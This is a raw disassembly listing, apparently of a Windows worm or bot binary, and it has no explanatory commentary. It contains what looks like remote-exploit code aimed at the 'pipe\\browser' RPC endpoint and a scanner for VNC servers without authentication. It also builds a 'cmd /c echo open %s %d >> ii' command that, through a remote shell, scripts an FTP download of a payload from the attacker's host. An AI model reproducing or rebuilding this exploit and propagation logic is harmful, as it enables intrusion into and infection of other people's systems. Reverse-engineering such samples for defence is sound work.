		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D987:				; CODE XREF: sub_40D8AD+B3j
		mov	al, 1
		jmp	short loc_40D996
; ---------------------------------------------------------------------------

loc_40D98B:				; CODE XREF: sub_40D8AD+9Cj
					; sub_40D8AD+A4j
		push	[ebp+arg_20]
		call	sub_41B0B1
		pop	ecx

loc_40D994:				; CODE XREF: sub_40D8AD+61j
		xor	al, al

loc_40D996:				; CODE XREF: sub_40D8AD+D8j
					; sub_40D8AD+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40D8AD	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db 0B8h	; ╦
		db 0DCh	; э
		db  60h	; `
		db    0
		db    0
		db 0E8h	; Х
		db  78h	; x
		db 0E1h	; А
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db 0F4h	; Т
		db 0D4h	; т
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0A8h	; ╗
		db 0F7h	; В
		db    0
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; ш
		db  85h	; ┘
		db 0C0h	; ю
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  68h	; h
		db  7Ch	; |
		db  22h	; "
		db  43h	; C
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0A6h	; ╕
		db 0DFh	; ъ
		db    0
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; Х
		db 0A7h	; ╖
		db 0DBh	; ш
		db    0
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0DFh	; ъ
		db 0FFh
		db 0FFh
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  89h	; ┴
		db  85h	; ┘
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; ╦
		db  58h	; X
		db 0D1h	; я
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  50h	; P
		db 0E8h	; Х
		db  44h	; D
		db  8Dh	; █
		db    1
		db    0
; ---------------------------------------------------------------------------
		jmp	short loc_40DA13
; ---------------------------------------------------------------------------
		db 0BEh	; ╬
		db    0
		db  20h
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_40DA13:				; CODE XREF: ___:0040DA0Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-40DCh]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-40DCh]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		nop
		call	near ptr 26F097Dh
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40DA57

loc_40DA50:				; CODE XREF: ___:0040DB2Fj
					; ___:0040DD05j ...
		xor	al, al
		jmp	loc_40DE9B
; ---------------------------------------------------------------------------

loc_40DA57:				; CODE XREF: ___:0040DA4Ej
		push	48h
		lea	eax, [ebp-0B8h]
		push	ebx
		push	eax
		call	sub_41B590
		push	10h
		mov	byte ptr [ebp-0B8h], 5
		pop	eax
		mov	[ebp-0B7h], bl
		push	1
		mov	[ebp-0B4h], eax
		pop	edi
		mov	byte ptr [ebp-0B6h], 0Bh
		push	eax
		lea	eax, [ebp-98h]
		push	offset dword_432254
		push	eax
		mov	byte ptr [ebp-0B5h], 3
		mov	word ptr [ebp-0B0h], 48h
		mov	[ebp-0AEh], bx
		mov	[ebp-0ACh], ebx
		mov	word ptr [ebp-0A8h], 10B8h
		mov	word ptr [ebp-0A6h], 10B8h
		mov	[ebp-0A4h], ebx
		mov	[ebp-0A0h], edi
		mov	[ebp-9Ch], bx
		mov	byte ptr [ebp-9Ah], 1
		call	sub_41C310
		push	10h
		lea	eax, [ebp-84h]
		push	offset dword_432240
		push	eax
		mov	dword ptr [ebp-88h], 3
		call	sub_41C310
		add	esp, 24h
		lea	eax, [ebp-0BCh]
		mov	dword ptr [ebp-74h], 2
		push	ebx
		push	eax
		lea	eax, [ebp-0B8h]
		push	48h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26E0000h
		test	eax, eax
		jnz	short loc_40DB34

loc_40DB26:				; CODE XREF: ___:0040DC00j
		push	dword ptr [ebp-4]
		nop
		call	near ptr 2650939h
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DB34:				; CODE XREF: ___:0040DB24j
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		lea	eax, [ebp-60DCh]
		push	esi
		push	eax
		push	dword ptr [ebp-4]
		call	near ptr 26F0000h
		nop
		push	ebx
		call	sub_41D081
		push	eax
		call	sub_41B8D8
		push	14h
		lea	eax, [ebp-70h]
		push	41h
		push	eax
		call	sub_41B590
		push	1Ch
		lea	eax, [ebp-30h]
		push	41h
		push	eax
		call	sub_41B590
		add	esp, 20h
		call	sub_41B8E2
		mov	esi, [ebp+0Ch]
		mov	[ebp-70h], eax
		mov	[ebp-64h], edi
		mov	[ebp-68h], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp-6Ch], edi
		shl	esi, 2
		mov	[ebp-60h], bx
		cmp	byte_4321E8[esi], bl
		jz	short loc_40DBAB
		push	4
		mov	[ebp-24h], edi
		mov	[ebp-28h], ebx
		mov	[ebp-2Ch], edi
		push	offset dword_4CDCCC
		jmp	short loc_40DBBE
; ---------------------------------------------------------------------------

loc_40DBAB:				; CODE XREF: ___:0040DB97j
		push	2
		mov	[ebp-28h], ebx
		pop	eax
		push	4
		mov	[ebp-24h], eax
		mov	[ebp-2Ch], eax
		push	(offset	loc_432237+1)

loc_40DBBE:				; CODE XREF: ___:0040DBA9j
		lea	eax, [ebp-20h]
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		call	sub_41B8E2
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp-30h], edx
		call	sub_41B8E2
		cdq
		idiv	edi
		mov	eax, dword_4321DC[esi]
		mov	[ebp-18h], ebx
		push	eax
		mov	[ebp+8], eax
		inc	edx
		mov	[ebp-1Ch], edx
		call	sub_41B4D5
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40DB26
		mov	eax, [ebp+8]
		add	eax, 0FFFFFFFEh
		push	eax
		push	90h
		push	edi
		call	sub_41B590
		mov	eax, [ebp+8]
		push	2
		push	ebx
		lea	eax, [edi+eax-2]
		push	eax
		call	sub_41B590
		mov	eax, dword_4321E4[esi]
		push	7
		add	eax, edi
		push	offset dword_4321D0
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	15Ch
		add	eax, 7
		push	offset dword_432070
		push	eax
		call	sub_41C310
		mov	eax, dword_4321E0[esi]
		add	esp, 30h
		cmp	byte_4321E8[esi], bl
		mov	[ebp+0Ch], eax
		jz	short loc_40DCB7
		push	4
		add	eax, edi
		push	offset dword_4CDCC4
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 0Ch
		mov	esi, offset dword_432200
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, edi
		push	esi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		push	esi
		lea	eax, [eax+edi+24h]
		push	eax
		mov	[ebp+0Ch], eax
		call	sub_41C310
		mov	eax, [ebp+0Ch]
		push	4
		add	eax, 0Ch
		push	esi
		push	eax
		call	sub_41C310
		add	esp, 30h
		jmp	short loc_40DCDF
; ---------------------------------------------------------------------------

loc_40DCB7:				; CODE XREF: ___:0040DC68j
		add	eax, edi
		mov	dword ptr [ebp-8], 10h
		mov	[ebp+0Ch], eax
		mov	esi, offset dword_432200

loc_40DCC8:				; CODE XREF: ___:0040DCDDj
		push	4
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 4
		add	esp, 0Ch
		dec	dword ptr [ebp-8]
		jnz	short loc_40DCC8

loc_40DCDF:				; CODE XREF: ___:0040DCB5j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp-8], esi
		jnz	short loc_40DD0A
		push	dword ptr [ebp-4]
		call	near ptr 2650939h
		nop
		push	edi
		call	sub_41B0B1
		pop	ecx
		jmp	loc_40DA50
; ---------------------------------------------------------------------------

loc_40DD0A:				; CODE XREF: ___:0040DCF3j
		mov	eax, [ebp+8]
		add	eax, 42h
		push	eax
		push	ebx
		push	esi
		call	sub_41B590
		lea	eax, [ebp-70h]
		push	14h
		push	eax
		push	esi
		call	sub_41C310
		mov	eax, [ebp+8]
		mov	[ebp-0Ch], ebx
		mov	[ebp-10h], eax
		add	esp, 10h
		fild	qword ptr [ebp-10h]
		fmul	flt_4276AC
		fstp	qword ptr [esp]
		call	sub_41C7BF
		call	sub_41C798
		push	dword ptr [ebp+8]
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi
		push	eax
		call	sub_41C310
		mov	eax, [ebp+8]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+0Ch], eax
		jz	short loc_40DD77

loc_40DD6F:				; CODE XREF: ___:0040DD72j
		inc	eax
		test	al, 3
		jnz	short loc_40DD6F
		mov	[ebp+0Ch], eax

loc_40DD77:				; CODE XREF: ___:0040DD6Dj
		lea	ecx, [ebp-30h]
		push	1Ch
		add	eax, esi
		push	ecx
		push	eax
		call	sub_41C310
		add	dword ptr [ebp+0Ch], 1Ch
		push	edi
		call	sub_41B0B1
		push	18h
		lea	eax, [ebp-48h]
		push	ebx
		push	eax
		call	sub_41B590
		push	14h
		lea	eax, [ebp-5Ch]
		push	ebx
		push	eax
		mov	byte ptr [ebp-48h], 5
		mov	[ebp-47h], bl
		mov	[ebp-46h], bl
		mov	byte ptr [ebp-45h], 3
		mov	dword ptr [ebp-44h], 10h
		mov	[ebp-3Eh], bx
		mov	[ebp-3Ch], ebx
		mov	[ebp-34h], bx
		mov	word ptr [ebp-32h], 1Fh
		call	sub_41B590
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	near ptr 26E08F6h
		nop
		mov	[ebp-4Ch], eax
		mov	[ebp+0Bh], bl
		mov	[ebp-0Ch], ebx

loc_40DDE4:				; CODE XREF: ___:0040DE6Ej
		cmp	dword ptr [ebp-0Ch], 2
		jge	loc_40DE79
		push	1
		push	10B8h
		push	dword ptr [ebp+0Ch]
		inc	dword ptr [ebp-0Ch]
		push	esi
		lea	esi, [ebp-48h]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	dword ptr [ebp-4]
		rep movsd
		call	sub_40D8AD
		add	esp, 2Ch
		test	al, al
		jz	short loc_40DE76
		cmp	[ebp-4Ch], ebx
		jz	short loc_40DE68
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-60DCh]
		push	2000h
		push	eax
		push	dword ptr [ebp-4]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_40DE4F
		call	near ptr 2670D55h
		nop
		cmp	eax, 3E5h
		jnz	loc_40DA50

loc_40DE4F:				; CODE XREF: ___:0040DE3Cj
		push	3E8h
		push	dword ptr [ebp-4Ch]
		nop
		call	near ptr 2680893h
		cmp	eax, 102h
		jnz	short loc_40DE68
		mov	byte ptr [ebp+0Bh], 1

loc_40DE68:				; CODE XREF: ___:0040DE1Bj
					; ___:0040DE62j
		cmp	[ebp+0Bh], bl
		mov	esi, [ebp-8]
		jz	loc_40DDE4
		jmp	short loc_40DE79
; ---------------------------------------------------------------------------

loc_40DE76:				; CODE XREF: ___:0040DE16j
		mov	esi, [ebp-8]

loc_40DE79:				; CODE XREF: ___:0040DDE8j
					; ___:0040DE74j
		push	dword ptr [ebp-4]
		mov	edi, dword_427068
		call	edi
		push	esi
		call	sub_41B0B1
		cmp	[ebp-4Ch], ebx
		pop	ecx
		jz	short loc_40DE95
		push	dword ptr [ebp-4Ch]
		call	edi

loc_40DE95:				; CODE XREF: ___:0040DE8Ej
		cmp	[ebp+0Bh], bl
		setnz	al

loc_40DE9B:				; CODE XREF: ___:0040DA52j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; ▀
		db 0ECh	; Л
		db  81h	; │
		db 0ECh	; Л
		db 0A0h	; ═
		db    5
		db    0
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  33h	; 3
		db 0F6h	; Ж
		db  6Ah	; j
		db  10h
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  56h	; V
		db  50h	; P
		db 0E8h	; Х
		db 0D6h	; ж
		db 0D6h	; ж
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  0Ch
		db  8Dh	; █
		db  45h	; E
		db  0Ch
		db  66h	; f
		db 0C7h	; г
		db  45h	; E
		db 0F0h	; П
		db    2
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  2Ch	; ,
		db  34h	; 4
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db 0FFh
		db 0B5h	; ╣
		db 0C4h	; д
		db    0
		db    0
		db    0
		db  89h	; ┴
		db  45h	; E
		db 0F4h	; Т
		db 0E8h	; Х
		db  6Bh	; k
		db  38h	; 8
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  56h	; V
		db  6Ah	; j
		db    1
		db  6Ah	; j
		db    2
		db  66h	; f
		db  89h	; ┴
		db  45h	; E
		db 0F2h	; Р
		db 0E8h	; Х
		db  38h	; 8
		db  5Dh	; ]
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  8Bh	; ▀
		db 0D8h	; ь
		db  83h	; ┐
		db 0FBh	; Ш
		db 0FFh
		db  74h	; t
		db  7Ch	; |
		db  8Dh	; █
		db  45h	; E
		db 0F0h	; П
		db  6Ah	; j
		db  10h
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  5Eh	; ^
		db  5Fh	; _
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  74h	; t
		db  6Ah	; j
		db 0BFh	; ©
		db    0
		db    4
		db    0
		db    0
		db  56h	; V
		db  8Bh	; ▀
		db  35h	; 5
		db  18h
		db  72h	; r
		db  42h	; B
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db 0B8h	; ╦
		db    8
		db  91h	; ▒
		db  42h	; B
		db    0
		db  50h	; P
		db  50h	; P
		db 0FFh
		db  35h	; 5
		db 0E0h	; Ю
		db 0ACh	; ╛
		db  4Ch	; L
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; Х
		db 0DFh	; ъ
		db 0CCh	; л
		db 0FFh
		db 0FFh
		db  59h	; Y
		db  50h	; P
		db  68h	; h
		db  88h	; ┬
		db  22h	; "
		db  43h	; C
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  68h	; h
		db  90h	; ░
		db    1
		db    0
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  38h	; 8
		db 0DAh	; з
		db    0
		db    0
		db  83h	; ┐
		db 0C4h	; д
		db  1Ch
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  6Ah	; j
		db    0
		db  50h	; P
		db 0E8h	; Х
		db  87h	; ┤
		db 0D0h	; п
		db    0
		db    0
		db  59h	; Y
		db  50h	; P
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FEh	; Ч
		db 0FFh
		db 0FFh
		db  50h	; P
		db  53h	; S
		db  90h	; ░
		db 0E8h	; Х
		db  8Bh	; ▀
		db  3Bh	; ;
		db  6Ah	; j
		db  71h	; q
		db  83h	; ┐
		db 0F8h	; Ь
		db 0FFh
		db  75h	; u
		db    4
		db  33h	; 3
		db 0C0h	; ю
		db 0EBh	; К
		db  17h
		db  6Ah	; j
		db    0
		db  8Dh	; █
		db  85h	; ┘
		db  60h	; `
		db 0FAh	; З
		db 0FFh
		db 0FFh
		db  57h	; W
		db  50h	; P
		db  53h	; S
		db 0FFh
		db 0D6h	; ж
		db  53h	; S
		db 0E8h	; Х
		db 0E8h	; Х
		db  3Ah	; :
		db  6Ah	; j
		db  71h	; q
		db  90h	; ░
		db  6Ah	; j
		db    1
		db  58h	; X
		db  5Fh	; _
		db  5Eh	; ^
		db  5Bh	; [
		db 0C9h	; и
		db 0C3h	; ц
		dw 5653h
		dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh,	227459C0h
		dd 748D656Ah, 0EC811424h, 0BCh,	8B592F6Ah, 0E8A5F3FCh
		dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851575h, 0D0680B75h
		dd 90000007h, 262560E8h, 0FB834302h, 6AB87202h,	5E5F5801h
; ---------------------------------------------------------------------------
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40DFE2	proc near		; CODE XREF: sub_40E0D0+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		nop
		call	near ptr 71AB12F8h
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		nop
		call	near ptr 71AB1746h
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E0B0
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	near ptr 71AB3E5Dh
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E0B0
		mov	edi, 400h
		push	esi
		mov	esi, dword_427218
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CACE0
		push	[ebp+arg_0]
		call	sub_40AC0F
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E0B4

loc_40E0B0:				; CODE XREF: sub_40DFE2+50j
					; sub_40DFE2+62j
		xor	eax, eax
		jmp	short loc_40E0CB
; ---------------------------------------------------------------------------

loc_40E0B4:				; CODE XREF: sub_40DFE2+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax

loc_40E0CB:				; CODE XREF: sub_40DFE2+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40DFE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E0D0	proc near		; CODE XREF: sub_40C124+1EAp
					; DATA XREF: ___:off_431444o

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CAFE4
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40E142
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E123
		push	esi
		jmp	short loc_40E13C
; ---------------------------------------------------------------------------

loc_40E123:				; CODE XREF: sub_40E0D0+4Ej
		push	0
		push	1213h
		push	offset dword_4322FC
		push	esi
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40E146

loc_40E13C:				; CODE XREF: sub_40E0D0+51j
		nop
		call	near ptr 71AB1A6Dh

loc_40E142:				; CODE XREF: sub_40E0D0+3Cj
		xor	eax, eax
		jmp	short loc_40E188
; ---------------------------------------------------------------------------

loc_40E146:				; CODE XREF: sub_40E0D0+6Aj
		call	near ptr 71AB1A6Dh
		nop
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40DFE2
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40E185
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431448[eax]
		lea	eax, dword_431448[eax]

loc_40E185:				; CODE XREF: sub_40E0D0+9Ej
		push	1
		pop	eax

loc_40E188:				; CODE XREF: sub_40E0D0+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40E0D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E18C	proc near		; CODE XREF: ___:0040E27Ap
					; ___:0040E2DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40E194:				; CODE XREF: sub_40E18C+2Dj
		test	edi, edi
		jle	short loc_40E1BF
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFBC
		test	eax, eax
		jz	short loc_40E1BB
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E1BB
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40E194
; ---------------------------------------------------------------------------

loc_40E1BB:				; CODE XREF: sub_40E18C+22j
					; sub_40E18C+27j
		xor	eax, eax
		jmp	short loc_40E1C2
; ---------------------------------------------------------------------------

loc_40E1BF:				; CODE XREF: sub_40E18C+Aj
		push	1
		pop	eax

loc_40E1C2:				; CODE XREF: sub_40E18C+31j
		pop	edi
		pop	esi
		retn
sub_40E18C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E1C5	proc near		; CODE XREF: ___:0040E2C6p
					; ___:0040E2F3p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40E202
		xor	esi, esi
		test	edi, edi
		jle	short loc_40E1FC

loc_40E1D5:				; CODE XREF: sub_40E1C5+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E202
		test	eax, eax
		jz	short loc_40E202
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40E1D5

loc_40E1FC:				; CODE XREF: sub_40E1C5+Ej
		push	1
		pop	eax

loc_40E1FF:				; CODE XREF: sub_40E1C5+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_40E202:				; CODE XREF: sub_40E1C5+8j
					; sub_40E1C5+2Bj ...
		xor	eax, eax
		jmp	short loc_40E1FF
sub_40E1C5	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_433540
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40E234
		push	eax
		jmp	short loc_40E268
; ---------------------------------------------------------------------------

loc_40E234:				; CODE XREF: ___:0040E22Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CAFE4
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CAFA4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E273
		push	ebx

loc_40E268:				; CODE XREF: ___:0040E232j
		call	dword_4CB03C
		jmp	loc_40E46E
; ---------------------------------------------------------------------------

loc_40E273:				; CODE XREF: ___:0040E265j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41C645
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40E467
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40E2BF
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40E467

loc_40E2BF:				; CODE XREF: ___:0040E2B3j
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40E467
		push	1
		push	offset dword_4CAE5C
		push	ebx
		call	sub_40E1C5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40E467
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41CFC5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40E3F7
		push	edi
		push	esi
		push	ebx
		call	sub_40E18C
		add	esp, 0Ch

loc_40E3F7:				; CODE XREF: ___:0040E3EAj
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
